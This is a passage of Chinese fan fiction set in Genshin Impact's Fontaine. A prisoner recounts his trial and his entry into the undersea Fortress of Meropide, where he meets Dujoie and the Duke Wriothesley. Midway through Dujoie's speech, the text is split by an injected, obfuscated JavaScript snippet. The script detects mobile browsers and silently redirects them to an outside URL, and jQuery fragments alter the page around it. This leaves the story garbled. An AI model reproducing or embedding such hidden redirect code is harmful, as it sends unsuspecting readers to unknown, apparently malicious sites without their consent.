“本庭现对‘歌剧院凶杀案’进行裁决:于今日魔术秀开演前十五分钟,凶案嫌疑人塔德纳先生同受害者共同落座观众席后排,两人产生冲突并爆发争吵,此线索经由当时观众席的其他目击证人证实有效。”
“在发生争吵后,塔德纳先生起身预备离开,受害者同样起身阻拦,却被塔德纳先生使用匕首刺中腹部丧命。事发时有多名观众和现场安保人员目击到此幕,证实有效。因此,本庭认为塔德纳先生为杀害梅卡尼西恩先生的凶手。”
“塔德纳先生,对于以上裁定,你可有异议?”
“没有……”
“那么,对于塔德纳先生的指控,现在交由【谕示裁定枢机】进行最后的定夺。”
“根据【谕示裁定枢机】给出的审判结果,塔德纳先生——”
“有罪。”
……
我被执法人员戴上手铐押送到通往梅洛彼得堡的入口处时,耳边依然残留着那维莱特宣布我“有罪”时歌剧院里瞬间蔓延的欢呼声和掌声。
监狱不是第一次进,被如此大张旗鼓地当众审判倒是第一次。被座下的普通民众的呼声淹没的时候,我竟然也产生了一丝身为“罪犯”的难堪。
说不定这也是枫丹将审判戏剧化的原因呢?让犯人在同类的唾声中忏悔。
我在心里如此百无聊赖地想着,安静地等待着被派来负责带我进入梅洛彼得堡的玛德琳小姐到来。
身后负责押送我的两名警备队队员兢兢业业地盯紧着我,俨然是一副看押重犯的表现。
这让我想起来许多年前因为“差点杀死一位执行官”而获罪被关入监狱的时候,负责来看守我的人也是如此小心翼翼,蓄势待发。
不过那个时候不管怎么看都是因为涉及的“受害者”是鼎鼎有名的执行官第二席多托雷的原因吧。
我也倾向于当时发生的一切都有多托雷的暗中授权。
那个心理变态的家伙,谁也搞不懂他当时到底在想什么。
不过与当时不同,眼下我确确实实是因为触犯了枫丹的法律被正规地判处有罪,即将前往的监狱也不是一处被精心布置,专门清空人员,放上特意安排好的配角来“圈养”我的笼子。
梅洛彼得堡,这座深海之下的巨大钢铁城堡,是名副其实的犯人流放之地,没有人能在这里拥有特权。
我对梅洛彼得堡的印象便是如此,毕竟过往的工作内容并没有同梅洛彼得堡相关的消息,梅洛彼得堡不受审判庭管理,相当于一块自治地,若硬要说,我倒还记得【富人】老爷曾经将自己的力量渗透进入过梅洛彼得堡,似乎是为了实验一种新的货币。
正思考间,我等候的玛德琳小姐到了。
一位干练的小姐,我曾经对枫丹的大人物特意进行过了解,自然也在档案上见过这位最高审判官颇为信任的下属。
“塔德纳,对吗?”
我点头。
玛德琳将我上上下下打量一遍:“我会带你进入梅洛彼得堡。安分守己一点,不要想着中途逃跑,任何消极对抗的行为都会加重你的罪行,明白了吗?”
“明白。”
玛德琳的态度让我感受到被那维莱特宣判罪名时同等的紧张感。
当然,其实玛德琳的警告纯属多此一举。
我没有违抗刑期的想法,将没入一半的匕首完全用力插入机械师的身体的时候我已经做好了面对一切后果的准备。
幸好,枫丹的法律虽然存在死刑,但从未有过判处的先例。就算是把多托雷拉过来放到那个名字十分拗口的订书机面前扫上一遍,估计给出的刑期也只会是后面缀着无数个零的监押。
而我的生命足够漫长,就算被关个十几年,也只不过在我已经生存过的数百年光阴上占据很小的一段距离,微不足道。
更何况,按照阿蕾奇诺大人之前提醒我的事——多托雷疑似正前来枫丹,我如今进了梅洛彼得堡说不定反倒还救了我一回。
至少不用担心哪一天从床上醒来第一眼看到的是多托雷的脸。
那简直就是世界上最可怕的恐怖小说的片段。
跟随玛德琳,我们乘坐进入梅洛彼得堡唯一的升降机下降,身边的景象也逐渐变为阴暗厚重的钢铁建筑,下降的过程中能听到的只有升降机的齿轮机关运转的嘈杂声,越是下降,空气也变得愈发潮湿阴寒。
我想要拢一拢身上单薄的外套。气温的变化很明显,我开始感觉到冷意。
这样的动作带动手腕上的手铐发出声音,使得玛德琳和身后的两名警备队队员都看向我。
我有些尴尬地解释:“抱歉,我只是想整理一下衣服。”
玛德琳深深地看了我一眼,警告一句“不要做小动作”然后放过了我。
我不敢轻举妄动了。大庭广众之下杀死一个人的罪名似乎比我想象中的还要严重不少,无论是玛德琳还是警备队队员都一直对我保持着高度的警惕,态度也十分冷硬。
于是潮湿的冷空气便顺着我裸露在外的皮肤渗透进身体里。升降机停止,我迈出双腿的时候甚至感觉到动作不免变得僵硬。
这副对寒冷极度敏感的身体,在至冬时每日都裹得严严实实。说实话,身边的其他人,没有一个人如我一般畏惧寒冷到恨不得把自己裹死在毛氅里寸步不离,而我的毛氅也几乎是至冬所能够买到的最厚实的。
离开至冬这么久,我都快忘记自己畏惧寒冷时的模样了,毕竟与至冬不同,其他国家很少会有极寒的时候,但我没想到梅洛彼得堡因为在海底,格外阴冷。
玛德琳将我带到登记处,接待处的玛蕾蒂小姐确认了我的罪名和刑期:故意杀人,刑期是二十年。
若是普通人,便是足以跨越人生中最美好的时期的刑期,可对于生命无穷尽的存在,二十年不过弹指一挥,沧海一粟。
用留影机拍摄下正面侧面照后,我领取到了自己在梅洛彼得堡的新身份:7450号犯人。玛蕾蒂也为我解下了手铐。
一同领取到的还有两套更符合梅洛彼得堡氛围的衣服,供一洗一换。接待员小姐说梅洛彼得堡允许犯人将自己的衣服带入,不过进入前需要进行搜身检查。
我的储物袋被登记没收。
玛蕾蒂小姐告知我所有的个人物品都会在出狱时返还。
我虽然有些不舍,但对于这样的规章制度也表示理解。
事实上,到此的大多数条例都超乎我意料的人性化。至少须弥和至冬的监狱可没这么通情达理。
登记完成,我被交给一名头戴棕色帽子的中年男性带领进入更下层,那里是梅洛彼得堡的核心区域。
前来为我领路的中年男性态度出乎意料地友好。
“初次见面,叫我杜吉耶就好。哈哈,别把我当成什么不得了的人物,其实我和你一样,也是梅洛彼得堡的犯人,只不过进来的更早而已。”
杜吉耶对我的态度十分友善。
“你好。”我走在杜吉耶身后,适当的距离能让我完整地观察到男人的一举一动,我让自己露出恰到好处的好奇和不安:“你也是犯人?那你是被派来接应我的吗?”
“哈哈,可以这么说,在梅洛彼得堡,公爵大人会将迎接新人的工作下放,愿意的犯人可以接取这些任务赚取特许券。哦,对了,你还不知道什么是‘特许券’吧?特许券是梅洛彼得堡的‘货币’,在梅洛彼得堡,无论你想做什么,都少不了特许券。”
说到这里,杜吉耶笑了两声:“摩拉在水下可起不了作用,无论下水之前是富甲一方还是穷困潦倒,在梅洛彼得堡大家都位于同一条起跑线上。很公平,不是吗?”
杜吉耶转头看向我。
我没有对这个问题作出回应,只是转移话题问道:“所以,杜吉耶先生也是为了特许券而来?”
“有趣的问题,你是我见过最冷静的新人之一了。哈哈,不过我不缺特许券,我接下任务只是想要发挥我的力量来帮助所有初入梅洛彼得堡时被恐惧和迷茫困扰的新人。无论是什么人,只要从心底深处发自内心地愿意做出改变,积极进取,乐观向上,就能够成为更好的自己。我始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142256|159613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终怀揣着这样的想法,并且一直在为此努力。”
杜吉耶说着,指了指自己头顶戴着得帽子:“为了实现我的愿景,我创办了【檐帽会】,【檐帽会】的所有成员都是想要改过自新的犯人,在【檐帽会】,所有人都会互相监督,互相帮助。”
所以,帽子其实是组织的标志。
我若有所思地点点头,故意装作没听懂杜吉耶话语中暗含的拉拢之意。
“真厉害。不过没想到梅洛彼得堡竟然还允许犯人建立组织吗?”
杜吉耶停留在我身上的视线顿了一下,但很快恢复成刚开始友善的样子。
“公爵大人一向通情达理,况且,【檐帽会】是互帮互助的协作会,接受公爵大人的视察监督,是正规的组织。”杜吉耶笑眯眯地道:“当然,【檐帽会】一直在纳新,如果你有兴趣的话,也可以加入【檐帽会】,会里的老人也会帮助你更好地适应梅洛彼得堡的生活。”
“是吗?如果有机会的话,我会考虑的。”
说的比唱的都好听。
按照多托雷的说法,只有须弥不入流的摊贩才会在推销自己的商品时只说好处不说坏处。
我对明晃晃摆到脸上的邀请消极搪塞,杜吉耶虽然没说什么,但接下来对我的态度也很明显冷淡了许多。
但从杜吉耶的口中我也旁敲侧击到一些信息:比如莱欧斯利很少离开梅洛彼得堡,赚取特许券的方式最主要的是在生产区制作机械零件,但也有一些小众的渠道,比如去拳力斗技场打比赛,以及,医务室的护士长是一位特殊的美露莘,同时也是梅洛彼得堡唯一的医护人员。
信息不一定都有用,很显然杜吉耶也不会一股脑把有的没的情报都告诉我,人群聚集的地方,情报可是能卖大价钱的珍惜资源。
跟随杜吉耶乘坐升降机再次下降,机关停止,门打开走出来的时候,能看到走道两边肃穆林立的守卫机械。
再穷凶极恶的犯人看到这一幕,估计都不会敢有任何不该有的小心思了。
前面杜吉耶的脚步突然停住。
“公爵大人?!没想到您会出现在这里!”
我抬头,与那双蓝灰色调的眼睛对上。
莱欧斯利的视线短暂地从我身上掠过,他同杜吉耶交谈:“日安,杜吉耶先生。我正在想会是谁来接应新人呢,没想到你会亲自来做这件事。我记得【檐帽会】的成员人数壮大后,迎接新人的事情已经交给了老成员们。”
莱欧斯利的语气带着笑意,仿若只是提及一件无关紧要的小事。
杜吉耶道:“原本是交给费索勒的,但费索勒生病了,所以我暂时接过了这件事。”
“原来是这样。杜吉耶先生还是一如既往地关心成员。既然我在这里,犯人便交给我吧。今天辛苦你了,杜吉耶先生。”
“哪里,能为公爵大人做事是我的荣幸。”
杜吉耶鞠躬离开后,走道里便只剩下了我和莱欧斯利。
莱欧斯利看着我,挑眉轻笑了一声:“实在是稀客,没想到再一次见到副官先生会是在梅洛彼得堡。加急的档案送到我手里的时候,我可是吓了一大跳,差点连刚泡好的茶都洒了。”
说来也奇怪,同莱欧斯利独处反而让我觉得轻松了不少。明明上次见面我们还是剑拔弩张的相对方。
我轻叹口气,用无可奈何地语气道:“可别用那种称呼挖苦我了,我早就不是什么副官了。现在我还应该和其他人一样叫您‘公爵大人’才对。”
我特意咬重了“公爵大人”四个字。
莱欧斯利语气悠长地发出一声感叹:“嗯……意料之外地感觉不错。保持那样的称呼吧,犯人7450号.”
我:“……”
这完全不是礼仪之内的反应吧?我明明是在阴阳怪气啊!
莱欧斯利猛地一拍我的肩膀,从肩上传来的力度让我不由得被带得跟随莱欧斯利的脚步向前行走。
“欢迎来到梅洛彼得堡,副官先生。别愁眉苦脸,我保证,这是我最后一次用这个名号称呼你。”